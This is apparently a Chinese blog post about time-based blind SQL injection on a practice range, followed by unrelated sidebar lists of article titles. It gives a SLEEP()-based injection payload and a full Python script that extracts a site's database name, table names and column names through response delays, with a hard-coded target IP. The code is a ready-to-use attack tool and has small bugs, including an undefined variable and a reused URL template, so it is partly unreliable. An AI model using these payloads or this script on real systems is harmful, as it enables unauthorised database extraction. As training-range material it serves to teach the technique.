http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
 import requests

 #################################################################
# http://43.247.91.228:84/Less-1是靶场地址
################################################################# url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(length(database())={_}, sleep(3), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((select count(*) from information_schema.tables \
where table_schema={_})={__}, sleep(3), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema={_}), \
{__},1)))={___}, sleep(3), 0) --+" url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr((select group_concat(COLUMN_NAME) from \
information_schema.COLUMNS where table_name = {_}), \
{__}, 1))={___}, sleep(3), 0) --+" #################################################################
# 函数功能:猜解数据库名的长度
# 参数意义:n 长度范围
# 返回结果:成功:数据库名长度
#    失败:0
#################################################################
def getLength(n):
for i in range(1, n + 1):
payload = url1.format( _ = i)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解数据库名
# 参数意义:length 数据库名的长度
# 返回结果:成功:数据库名字符串
#   失败:空字符串
#################################################################
def getName(length):
database = "" #数据库名初始化为空字符串
for i in range(1, length + 1):
for j in range(1, 128):
payload = url2.format( _ = i, __ = j)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
database += chr(j)
break
else:
continue
return (database) #################################################################
# 函数功能:猜解数据库中表的数量
# 参数意义:database 数据库名
#   n 表的数量范围
# 返回结果:成功:表的数量
#   失败:0
#################################################################
def getTablesNum(database, n):
for i in range(1, n + 1):
payload = url3.format( _ = " '"+ database + "'", __ = i)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解表名
# 参数意义:database 数据库名
#   nameLengthTotal 所有表名的字符数及
#    逗号分隔符数之和(
#   表名之间用逗号分隔)
# 返回结果:所有表名的list数组
#################################################################
def getTablesName(database, nameLengthTotal):
tables = []
table = ""
for i in range(1, nameLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ database + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
table += chr(j)
break
else:
continue
tb = table.split(",")
for t in tb:
tables.append(t)
return (tables) #################################################################
# 函数功能:猜解某个表的字段名
# 参数意义:table 表名
#   attributeLengthTotal 全部字段名的字符数及用于分
#   割的逗号数之和(字段名之间
#    用逗号分割)的范围
# 返回结果:字段名字符串list数组
#################################################################
def getTableAttributes(table, attributeLengthTotal):
attributes = []
attribute = ""
for i in range(1, attributeLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ table + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
attribute += chr(j)
break
else:
continue
ab = attribute.split(",")
for a in ab:
attributes.append(a)
return attributes #################################################################
#
# 主函数
#
#################################################################
if __name__=="__main__":
#猜解数据库名的长度
length = getLength(10)
#猜解数据库名
database = getName(length)
#猜解表的数量
tablesNum = getTablesNum(database, 10)
#猜解表名
tables = getTablesName(database, tableNum*8)
print ("数据库名的长度为:" + str(length))
print ("数据库名为:" + database)
print ("数据库中表的数量为:" + str(tablesNum))
print ("数据库中的表如下:")
for table in tables:
print (table)
print ("各个表的字段名如下:")
for table in tables:
print (table)
#猜解各个表的字段名
attributes = getTableAttributes(table, 100)
for attribute in attributes:
print (attribute)

最新文章

  1. BZOJ4566: [Haoi2016]找相同字符
  2. JS魔法堂:函数重载 之 获取变量的数据类型
  3. IOS 回收键盘通用代码
  4. phpcms get标签用法
  5. LINQ之路 2:C# 3.0的语言功能(上)
  6. UVALive 7461 Separating Pebbles (计算几何)
  7. linux添加ssh用户
  8. exynos4412电路OrCAD问题
  9. linux启动的过程
  10. UVa 10602 - Editor Nottoobad
  11. 再谈AbstractQueuedSynchronizer:独占模式
  12. AspNetCoreapi 使用 Docker + Centos 7部署
  13. 如何将多个数据的- 转为:来匹配josn格式
  14. Guava 6:Concurrency
  15. Prometheus监控学习笔记之教程推荐
  16. 简易计算器的java实现
  17. Webscoket
  18. Codeforces Round #396 (Div. 2) B. Mahmoud and a Triangle 贪心
  19. 查看Ubuntu的版本和系统版本
  20. Yii2 使用json 和设置component 中'format' => yii\web\Response::FORMAT_JSON 的区别

热门文章

  1. poj1505(二分+贪心)
  2. Python记
  3. Install macOS High Sierra on Any Supported Intel-based PC
  4. Django - installing mysqlclient error: mysqlclient 1.3.13 or newer is required; you have 0.9.3
  5. C#泛型应用及原理
  6. 2020年算法设计竞赛 DP
  7. Axure 8.1.0.3377 激活码 授权码 (亲测有效)
  8. 关于我 & 关于这个博客
  9. C++ split分割字符串函数
  10. MongoDB高可用集群配置方案